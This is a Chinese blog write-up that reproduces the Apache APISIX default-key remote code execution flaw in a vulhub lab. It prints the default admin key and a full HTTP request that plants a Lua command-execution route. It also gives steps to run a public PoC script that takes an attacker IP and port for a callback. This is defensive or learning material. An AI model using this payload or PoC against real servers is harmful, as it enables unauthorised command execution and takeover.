当前位置:网站首页>Apache APISIX 默认密钥漏洞复现
Apache APISIX 默认密钥漏洞复现
2022-08-11 05:32:00 【Tauil】
漏洞复现
根据官网源码文件可以看到 Apache APISIX 默认密钥为edd1c9f034335f136f87ad84b625c8f1,在知道管理员密码的情况下我们可以通过构造一个恶意的router,其中包含恶意LUA脚本执行恶意命令
路由创建示例

官方地址:https://apisix.apache.org/zh/docs/apisix/getting-started/
在其 apisix/admin/routes.lua 文件中,使用POST方式提交会将数据消息提交给 check_conf

而 check_conf 中定义了一个 script参数为lua文件类型执行,所以我们只需要将数据包按POST方式提交,并且在消息体中添加含有恶意lua代码的 script 参数

打开vulhub,登录网址 http://靶机IP:8090,发送数据包
POST /apisix/admin/routes HTTP/1.1
Host: 靶机IP:9080
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0Chrome/97.0.4692.71 Safari/537.36
Connection: close
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 406
{
"uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
"upstream": {
"type": "roundrobin",
"nodes": {
"example.com:80": 1
}
}
}

访问 http://靶机IP:9080/attack?cmd=命令 或者curl http://靶机IP:9080/attack?cmd=命令,即可执行对应命令语句
另外可以使用公开的POC进行漏洞利用,输入命令
git clone https://github.com/twseptian/cve-2022-24112
chmod +x cve-2022-24112/poc/poc2.py
python3 cve-2022-24112/poc/poc2.py -t 靶机IP -p 9080 -L 攻击机IP -P 任意端口号

边栏推荐
猜你喜欢

The whole process of Tinker access --- configuration
![swagger错误:WARN i.s.m.p.AbstractSerializableParameter - [getExample,421] - Illegal DefaultValue null](/img/46/6ceeb330821d28b44742436da4123c.png)
swagger错误:WARN i.s.m.p.AbstractSerializableParameter - [getExample,421] - Illegal DefaultValue null

C-自定义类型(结构体、枚举、联合)

连接数据库时出现WARN: Establishing SSL connection without server‘s identity verification is not recommended.

Day 77

heap2 (tcache attack,house of orange)
微信小程序云开发项目wx-store代码详解

UML 类图之间的关系

Scene-driven feature calculation method OpenMLDB, efficient implementation of "calculate first use"

【LeetCode-49】字母异位词分组
随机推荐
2022年全国职业技能大赛网络安全竞赛试题B模块自己解析思路(9)
IP证书申请
一文看懂注解与反射
C语言-6月12日-字符替换问题,将一个‘ ’替换为2个‘#’
【LeetCode-56】合并区间
CLR via C# 第五章 基元类型、引用类型和值类型
2022年全国职业技能大赛网络安全竞赛试题B模块自己解析思路(6)
IndexError: index 9 is out of bounds for axis 0 with size 9;数组下标溢出问题
详解程序执行过程
Lua 协同程序(coroutine)
【LeetCode-75】 颜色分类
【LeetCode-36】有效的数独
欧拉角、四元数与旋转
【Unity】关于一个炮台Prefab的剖析
Unity的程序集Assembly 与 加快代码编译速度
Unity 使用双缓冲实现一个好用的计时器
OpenGL 摄像机(Camera)类的创建
Unity 数字跳字功能
非对称加密——网络安全
父子节点数据格式不一致的树状列表实现